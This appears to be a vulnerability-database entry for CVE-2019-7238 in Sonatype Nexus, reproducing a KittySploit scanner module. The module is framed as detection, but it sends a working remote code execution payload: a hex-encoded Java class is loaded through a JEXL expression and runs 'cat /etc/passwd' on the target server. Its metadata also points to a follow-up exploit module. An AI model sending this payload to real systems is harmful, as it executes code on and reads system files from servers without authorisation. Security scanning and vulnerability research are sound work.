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Sonatype Nexus Repository Manager <3.15.0 - Remote Code Execution Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Sonatype Nexus Repository Manager is susceptible to remote code execution.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Sonatype Nexus Repository Manager before 3."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Sonatype Nexus Repository Manager  <3.15.0 - Remote Code Execution Detection',
        'description': 'Sonatype Nexus Repository Manager before 3.15.0 is susceptible to remote code execution.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2019', 'nexus', 'rce', 'kev', 'sonatype', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'exploits/multi/http/nexus_cve_2019_7238_rce',
                ],
            },
        },
        'references': [
            'https://github.com/jas502n/CVE-2019-7238',
            'https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019',
            'https://nvd.nist.gov/vuln/detail/CVE-2019-7238',
            'https://github.com/ycdxsb/Exploits',
            'https://github.com/zhangchi991022/Comprehensive-experiment-of-infomation-security',
        ],
        'cve': 'CVE-2019-7238',
    }

    def run(self):
        path = '/service/extdirect'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest'}, data='{"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){   c=1.class.forName(\'java.lang.Character\');   integer=1.class;   x=\'cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd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  y=0;   z=\'\';   while (y lt x.length()){       z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0];       y += 2;   };defineClass=2.class.forName(\'java.lang.Thread\');x=defineClass.getDeclaredMethod(\'currentThread\').invoke(null);y=defineClass.getDeclaredMethod(\'getContextClassLoader\').invoke(x);defineClass=2.class.forName(\'java.lang.ClassLoader\').getDeclaredMethod(\'defineClass\',\'1\'.class,1.class.forName(\'[B\'),1.class.forName(\'[I\').getComponentType(),1.class.forName(\'[I\').getComponentType()); \\ndefineClass.setAccessible(true);\\nx=defineClass.invoke(\\n    y,\\n   \'Exploit.Test234\',\\n    z.getBytes(\'latin1\'),    0,\\n    3054\\n);x.getMethod(\'test\', \'\'.class).invoke(null, \'cat /etc/passwd\');\'done!\'}\\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if any(re.search(rx, body) for rx in body_regexes):
            self.set_info(severity='critical', reason='Sonatype Nexus Repository Manager  <3.15.0 - Remote Code Execution detected', path=path)
            return True
        return False

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05 Oct 2026 14:20Current
9.3Critical risk
Vulners AI Score9.3
CVSS 27.5
CVSS 3.19.8
EPSS0.76629
SSVC
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